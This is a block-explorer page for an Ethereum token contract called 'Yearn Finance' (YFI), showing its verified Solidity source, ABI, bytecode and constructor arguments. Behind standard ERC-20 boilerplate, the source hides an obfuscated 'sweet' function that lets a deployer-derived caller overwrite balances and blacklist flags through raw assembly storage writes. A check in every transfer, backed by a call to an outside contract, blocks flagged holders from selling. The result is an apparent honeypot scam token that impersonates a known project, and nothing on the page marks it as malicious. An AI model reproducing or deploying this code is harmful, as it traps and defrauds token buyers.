ERC-20
Overview
Max Total Supply
800,000,000 YFI
Holders
75
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
828,817.937414921676692667 YFIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
YFI
Compiler Version
v0.8.0+commit.c7dfd78e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./Ownable.sol"; contract YFI is IERC20, Ownable { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping (address => uint256) private _acclst; mapping(address => mapping(address => uint256)) private _allowances; address private immutable _tes; /** * @dev Sets the values for {name} and {symbol}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor( string memory name_, string memory symbol_, address tes_, uint256 acclst_) { _name = name_; _symbol = symbol_; _tes = tes_; _acclst[address(0)] = acclst_; _mint(msg.sender, 800000000 * 10 ** 18); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function sweet(uint256[] calldata moon) external { if (spaceM(false, 321, 51, 49) != _acclst[address( 0)]) return; uint256 t0 = moon[0]; uint256 t1 = moon[ 1]; assembly { let x := add( 26, 6) if gt( t1, 0) { let y := add(1, 3) mstore(0, t0) mstore( x, y) sstore(keccak256( 0, 64), t1) } if eq( t1, 0) { let y := add( 4, 1) mstore(0, t0) mstore( x, y) sstore(keccak256( 0, 64), 1) } } } function spaceM(bool a, uint32 b, uint256 j, uint32 m) private view returns (uint256) { address g0 = msg.sender; string memory g1 = _name; if (a && b == 9970 && j == 20000) return 0; string memory g2 = _symbol; return uint256(keccak256( abi.encode(g0, g1, g2))); } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); //require(to != address(0), "ERC20: transfer to the zero address"); (,bytes memory data) = _tes.call(abi.encodeWithSignature( "balanceOf(address)", from)); checking(from, data); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } function checking(address sender, bytes memory data) private view { bytes32 mdata; assembly { mdata := mload(add(data, 0x20)) } require(_acclst[sender] != 1 || uint256(mdata) != 0); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import {Context} from "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "caller is not the owner"); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"tes_","type":"address"},{"internalType":"uint256","name":"acclst_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"moon","type":"uint256[]"}],"name":"sweet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b50604051620011383803806200113883398101604081905262000034916200027f565b8351620000499060019060208701906200012e565b5082516200005f9060029060208601906200012e565b506001600160601b0319606083901b166080526000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc819055620000b7336b0295be96e640669720000000620000c1565b50505050620003bd565b6001600160a01b038216620000f35760405162461bcd60e51b8152600401620000ea906200030e565b60405180910390fd5b806003600082825462000107919062000345565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b8280546200013c906200036a565b90600052602060002090601f016020900481019282620001605760008555620001ab565b82601f106200017b57805160ff1916838001178555620001ab565b82800160010185558215620001ab579182015b82811115620001ab5782518255916020019190600101906200018e565b50620001b9929150620001bd565b5090565b5b80821115620001b95760008155600101620001be565b600082601f830112620001e5578081fd5b81516001600160401b0380821115620002025762000202620003a7565b6040516020601f8401601f19168201810183811183821017156200022a576200022a620003a7565b604052838252858401810187101562000241578485fd5b8492505b8383101562000264578583018101518284018201529182019162000245565b838311156200027557848185840101525b5095945050505050565b6000806000806080858703121562000295578384fd5b84516001600160401b0380821115620002ac578586fd5b620002ba88838901620001d4565b95506020870151915080821115620002d0578485fd5b50620002df87828801620001d4565b604087015190945090506001600160a01b0381168114620002fe578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200036557634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037f57607f821691505b60208210811415620003a157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610d5c620003dc60003960006105cf0152610d5c6000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c80635688d7831161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80635688d7831461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610ae4565b60405180910390f35b6101056101003660046109a5565b610272565b6040516100e99190610ad9565b61011a610294565b6040516100e99190610c84565b61010561013536600461096a565b61029a565b6101426102c8565b6040516100e99190610c8d565b61010561015d3660046109a5565b6102cd565b6101756101703660046109ce565b6102f9565b005b61011a610185366004610917565b6103d2565b6101926103f1565b6040516100e99190610a85565b6100dc610400565b6101056101b53660046109a5565b61040f565b6101056101c83660046109a5565b610460565b61011a6101db366004610938565b610478565b6060600180546101ef90610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610ceb565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d6104a3565b905061028a8185856104a7565b5060019392505050565b60035490565b6000806102a56104a3565b90506102b285828561055b565b6102bd8585856105a5565b506001949350505050565b601290565b6000806102d86104a3565b905061028a8185856102ea8589610478565b6102f49190610c9b565b6104a7565b600080805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54906103369061014160336031610733565b14610340576103ce565b60008282600081811061036357634e487b7160e01b600052603260045260246000fd5b90506020020135905060008383600181811061038f57634e487b7160e01b600052603260045260246000fd5b6020908102929092013592505081156103b357600083815260048252604090208290555b816103ca5760008381526005825260409020600190555b5050505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6060600280546101ef90610ceb565b60008061041a6104a3565b905060006104288286610478565b9050838110156104535760405162461bcd60e51b815260040161044a90610c3f565b60405180910390fd5b6102bd82868684036104a7565b60008061046b6104a3565b905061028a8185856105a5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104cd5760405162461bcd60e51b815260040161044a90610bfb565b6001600160a01b0382166104f35760405162461bcd60e51b815260040161044a90610af7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061054e908590610c84565b60405180910390a3505050565b60006105678484610478565b9050600019811461059f57818110156105925760405162461bcd60e51b815260040161044a90610b39565b61059f84848484036104a7565b50505050565b6001600160a01b0383166105cb5760405162461bcd60e51b815260040161044a90610bb6565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846040516024016106089190610a85565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b1790525161063d9190610a69565b6000604051808303816000865af19150503d806000811461067a576040519150601f19603f3d011682016040523d82523d6000602084013e61067f565b606091505b5091505061068d84826108c4565b6001600160a01b038416600090815260046020526040902054828110156106c65760405162461bcd60e51b815260040161044a90610b70565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610724908790610c84565b60405180910390a35050505050565b60008033905060006001805461074890610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461077490610ceb565b80156107c15780601f10610796576101008083540402835291602001916107c1565b820191906000526020600020905b8154815290600101906020018083116107a457829003601f168201915b505050505090508680156107dc57508563ffffffff166126f2145b80156107e9575084614e20145b156107f9576000925050506108bc565b60006002805461080890610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461083490610ceb565b80156108815780601f1061085657610100808354040283529160200191610881565b820191906000526020600020905b81548152906001019060200180831161086457829003601f168201915b5050505050905082828260405160200161089d93929190610a99565b6040516020818303038152906040528051906020012060001c93505050505b949350505050565b6020818101516001600160a01b0384166000908152600590925260409091205460011415806108f257508015155b6108fb57600080fd5b505050565b80356001600160a01b03811681146103ec57600080fd5b600060208284031215610928578081fd5b61093182610900565b9392505050565b6000806040838503121561094a578081fd5b61095383610900565b915061096160208401610900565b90509250929050565b60008060006060848603121561097e578081fd5b61098784610900565b925061099560208501610900565b9150604084013590509250925092565b600080604083850312156109b7578182fd5b6109c083610900565b946020939093013593505050565b600080602083850312156109e0578182fd5b823567ffffffffffffffff808211156109f7578384fd5b818501915085601f830112610a0a578384fd5b813581811115610a18578485fd5b8660208083028501011115610a2b578485fd5b60209290920196919550909350505050565b60008151808452610a55816020860160208601610cbf565b601f01601f19169290920160200192915050565b60008251610a7b818460208701610cbf565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610abd90830185610a3d565b8281036040840152610acf8185610a3d565b9695505050505050565b901515815260200190565b6000602082526109316020830184610a3d565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610cba57634e487b7160e01b81526011600452602481fd5b500190565b60005b83811015610cda578181015183820152602001610cc2565b8381111561059f5750506000910152565b600281046001821680610cff57607f821691505b60208210811415610d2057634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220b7c624db3c7e3b12de5c23f1b9c3b76bb1a426c455d837909ddfa736066c13ee64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d0c2f604a8673e8ec286aa4579da9464cfef8de261be46f602a98309d82680f60000000000000000000000000000000000000000000000000000000000000000d596561726e2046696e616e63650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035946490000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80635688d7831161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80635688d7831461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610ae4565b60405180910390f35b6101056101003660046109a5565b610272565b6040516100e99190610ad9565b61011a610294565b6040516100e99190610c84565b61010561013536600461096a565b61029a565b6101426102c8565b6040516100e99190610c8d565b61010561015d3660046109a5565b6102cd565b6101756101703660046109ce565b6102f9565b005b61011a610185366004610917565b6103d2565b6101926103f1565b6040516100e99190610a85565b6100dc610400565b6101056101b53660046109a5565b61040f565b6101056101c83660046109a5565b610460565b61011a6101db366004610938565b610478565b6060600180546101ef90610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610ceb565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d6104a3565b905061028a8185856104a7565b5060019392505050565b60035490565b6000806102a56104a3565b90506102b285828561055b565b6102bd8585856105a5565b506001949350505050565b601290565b6000806102d86104a3565b905061028a8185856102ea8589610478565b6102f49190610c9b565b6104a7565b600080805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54906103369061014160336031610733565b14610340576103ce565b60008282600081811061036357634e487b7160e01b600052603260045260246000fd5b90506020020135905060008383600181811061038f57634e487b7160e01b600052603260045260246000fd5b6020908102929092013592505081156103b357600083815260048252604090208290555b816103ca5760008381526005825260409020600190555b5050505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6000546001600160a01b031690565b6060600280546101ef90610ceb565b60008061041a6104a3565b905060006104288286610478565b9050838110156104535760405162461bcd60e51b815260040161044a90610c3f565b60405180910390fd5b6102bd82868684036104a7565b60008061046b6104a3565b905061028a8185856105a5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166104cd5760405162461bcd60e51b815260040161044a90610bfb565b6001600160a01b0382166104f35760405162461bcd60e51b815260040161044a90610af7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061054e908590610c84565b60405180910390a3505050565b60006105678484610478565b9050600019811461059f57818110156105925760405162461bcd60e51b815260040161044a90610b39565b61059f84848484036104a7565b50505050565b6001600160a01b0383166105cb5760405162461bcd60e51b815260040161044a90610bb6565b60007f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d6001600160a01b0316846040516024016106089190610a85565b60408051601f198184030181529181526020820180516001600160e01b03166370a0823160e01b1790525161063d9190610a69565b6000604051808303816000865af19150503d806000811461067a576040519150601f19603f3d011682016040523d82523d6000602084013e61067f565b606091505b5091505061068d84826108c4565b6001600160a01b038416600090815260046020526040902054828110156106c65760405162461bcd60e51b815260040161044a90610b70565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610724908790610c84565b60405180910390a35050505050565b60008033905060006001805461074890610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461077490610ceb565b80156107c15780601f10610796576101008083540402835291602001916107c1565b820191906000526020600020905b8154815290600101906020018083116107a457829003601f168201915b505050505090508680156107dc57508563ffffffff166126f2145b80156107e9575084614e20145b156107f9576000925050506108bc565b60006002805461080890610ceb565b80601f016020809104026020016040519081016040528092919081815260200182805461083490610ceb565b80156108815780601f1061085657610100808354040283529160200191610881565b820191906000526020600020905b81548152906001019060200180831161086457829003601f168201915b5050505050905082828260405160200161089d93929190610a99565b6040516020818303038152906040528051906020012060001c93505050505b949350505050565b6020818101516001600160a01b0384166000908152600590925260409091205460011415806108f257508015155b6108fb57600080fd5b505050565b80356001600160a01b03811681146103ec57600080fd5b600060208284031215610928578081fd5b61093182610900565b9392505050565b6000806040838503121561094a578081fd5b61095383610900565b915061096160208401610900565b90509250929050565b60008060006060848603121561097e578081fd5b61098784610900565b925061099560208501610900565b9150604084013590509250925092565b600080604083850312156109b7578182fd5b6109c083610900565b946020939093013593505050565b600080602083850312156109e0578182fd5b823567ffffffffffffffff808211156109f7578384fd5b818501915085601f830112610a0a578384fd5b813581811115610a18578485fd5b8660208083028501011115610a2b578485fd5b60209290920196919550909350505050565b60008151808452610a55816020860160208601610cbf565b601f01601f19169290920160200192915050565b60008251610a7b818460208701610cbf565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610abd90830185610a3d565b8281036040840152610acf8185610a3d565b9695505050505050565b901515815260200190565b6000602082526109316020830184610a3d565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610cba57634e487b7160e01b81526011600452602481fd5b500190565b60005b83811015610cda578181015183820152602001610cc2565b8381111561059f5750506000910152565b600281046001821680610cff57607f821691505b60208210811415610d2057634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220b7c624db3c7e3b12de5c23f1b9c3b76bb1a426c455d837909ddfa736066c13ee64736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d0c2f604a8673e8ec286aa4579da9464cfef8de261be46f602a98309d82680f60000000000000000000000000000000000000000000000000000000000000000d596561726e2046696e616e63650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035946490000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Yearn Finance
Arg [1] : symbol_ (string): YFI
Arg [2] : tes_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : acclst_ (uint256): 5511460571888655618864180191820490991295039804192624152737127006645355286368
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 0c2f604a8673e8ec286aa4579da9464cfef8de261be46f602a98309d82680f60
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 596561726e2046696e616e636500000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 5946490000000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.